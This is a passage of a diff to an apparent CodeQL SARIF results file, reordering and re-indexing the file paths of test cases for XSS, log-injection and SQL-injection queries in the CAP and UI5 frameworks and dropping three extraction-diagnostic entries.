+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 317
             }
@@ -11345,7 +11345,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 318
             }
@@ -11371,7 +11371,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 319
             }
@@ -11397,7 +11397,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 320
             }
@@ -11423,7 +11423,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 321
             }
@@ -11449,7 +11449,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 322
             }
@@ -11475,7 +11475,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 323
             }
@@ -11501,7 +11501,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 324
             }
@@ -11527,7 +11527,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 325
             }
@@ -11553,7 +11553,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 326
             }
@@ -11579,7 +11579,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 327
             }
@@ -11605,7 +11605,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 328
             }
@@ -11631,7 +11631,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 329
             }
@@ -11657,7 +11657,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 330
             }
@@ -11683,7 +11683,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 331
             }
@@ -11709,7 +11709,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 332
             }
@@ -11735,7 +11735,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 333
             }
@@ -11761,7 +11761,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 334
             }
@@ -11787,7 +11787,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 335
             }
@@ -11813,9 +11813,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+              "uri" : "javascript/heuristic-models/tests/Sources/test.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 336
+              "index" : 3
             }
           }
         } ],
@@ -11839,9 +11839,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
+              "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 337
+              "index" : 336
             }
           }
         } ],
@@ -11865,9 +11865,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
+              "uri" : "javascript/heuristic-models/tests/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 338
+              "index" : 337
             }
           }
         } ],
@@ -11891,9 +11891,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+              "uri" : "qlt.conf.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 339
+              "index" : 338
             }
           }
         } ],
@@ -11917,9 +11917,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+              "uri" : "scripts/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 4
+              "index" : 339
             }
           }
         } ],
@@ -11943,7 +11943,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
+              "uri" : "scripts/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 340
             }
@@ -11969,7 +11969,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 341
             }
@@ -11991,84 +11991,6 @@
             "text" : ""
           }
         }
-      }, {
-        "locations" : [ {
-          "physicalLocation" : {
-            "artifactLocation" : {
-              "uri" : "qlt.conf.json",
-              "uriBaseId" : "%SRCROOT%",
-              "index" : 342
-            }
-          }
-        } ],
-        "message" : {
-          "text" : ""
-        },
-        "level" : "none",
-        "descriptor" : {
-          "id" : "js/diagnostics/successfully-extracted-files",
-          "index" : 1,
-          "toolComponent" : {
-            "index" : 3
-          }
-        },
-        "properties" : {
-          "formattedMessage" : {
-            "text" : ""
-          }
-        }
-      }, {
-        "locations" : [ {
-          "physicalLocation" : {
-            "artifactLocation" : {
-              "uri" : "scripts/codeql-pack.lock.yml",
-              "uriBaseId" : "%SRCROOT%",
-              "index" : 343
-            }
-          }
-        } ],
-        "message" : {
-          "text" : ""
-        },
-        "level" : "none",
-        "descriptor" : {
-          "id" : "js/diagnostics/successfully-extracted-files",
-          "index" : 1,
-          "toolComponent" : {
-            "index" : 3
-          }
-        },
-        "properties" : {
-          "formattedMessage" : {
-            "text" : ""
-          }
-        }
-      }, {
-        "locations" : [ {
-          "physicalLocation" : {
-            "artifactLocation" : {
-              "uri" : "scripts/qlpack.yml",
-              "uriBaseId" : "%SRCROOT%",
-              "index" : 344
-            }
-          }
-        } ],
-        "message" : {
-          "text" : ""
-        },
-        "level" : "none",
-        "descriptor" : {
-          "id" : "js/diagnostics/successfully-extracted-files",
-          "index" : 1,
-          "toolComponent" : {
-            "index" : 3
-          }
-        },
-        "properties" : {
-          "formattedMessage" : {
-            "text" : ""
-          }
-        }
       } ],
       "executionSuccessful" : true
     } ],
@@ -12080,55 +12002,55 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 1
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 2
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+        "uri" : "javascript/heuristic-models/tests/Sources/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 3
       }
     }, {
       "location" : {
-        "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+        "uri" : ".github/actions/install-qlt/action.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 4
       }
     }, {
       "location" : {
-        "uri" : ".github/actions/install-qlt/action.yml",
+        "uri" : ".github/actions/install-codeql/action.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 5
       }
     }, {
       "location" : {
-        "uri" : ".github/actions/install-codeql/action.yml",
+        "uri" : ".github/codeql/codeql-config.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 6
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/codeql-config.yaml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 7
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 8
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 9
       }
@@ -12140,61 +12062,61 @@
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
+        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 11
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 12
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 13
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
+        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 14
       }
     }, {
       "location" : {
-        "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
+        "uri" : ".github/workflows/code_scanning.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 15
       }
     }, {
       "location" : {
-        "uri" : ".github/workflows/code_scanning.yml",
+        "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 16
       }
     }, {
       "location" : {
-        "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
+        "uri" : "codeql-workspace.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 17
       }
     }, {
       "location" : {
-        "uri" : "codeql-workspace.yml",
+        "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 18
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 19
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
+        "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 20
       }
@@ -12206,7 +12128,7 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/cap/test/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 22
       }
@@ -12218,37 +12140,37 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/qlpack.yml",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/log-injection-not-depending-on-request/db/schema.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 24
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 25
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 26
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service1.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 27
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service2.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 28
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 29
       }
@@ -12260,13 +12182,13 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/log-injection-with-complete-protocol-none/db/schema.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 31
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 32
       }
@@ -12278,91 +12200,91 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service2.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 34
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service1.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 35
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 36
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 37
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/log-injection-with-service1-protocol-none/db/schema.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 38
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 39
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 40
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service1.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 41
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service2.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 42
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 43
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/log-injection-with-service2-protocol-none/db/schema.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 44
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 45
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 46
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 47
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service1.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 48
       }
@@ -12374,19 +12296,19 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service2.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 50
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/log-injection-without-protocol-none/db/schema.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 51
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 52
       }
@@ -12398,25 +12320,25 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service1.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 54
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service2.cds.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 55
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 56
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json",
+        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 57
       }
@@ -12428,589 +12350,589 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json",
+        "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 59
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json",
+        "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 60
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js",
+        "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 61
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js",
+        "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 62
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js",
+        "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 63
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
+        "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 64
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 65
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 66
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 67
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
+        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 68
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
+        "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 69
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
+        "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 70
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
+        "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 71
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
+        "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 72
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
+        "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 73
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
+        "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 74
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
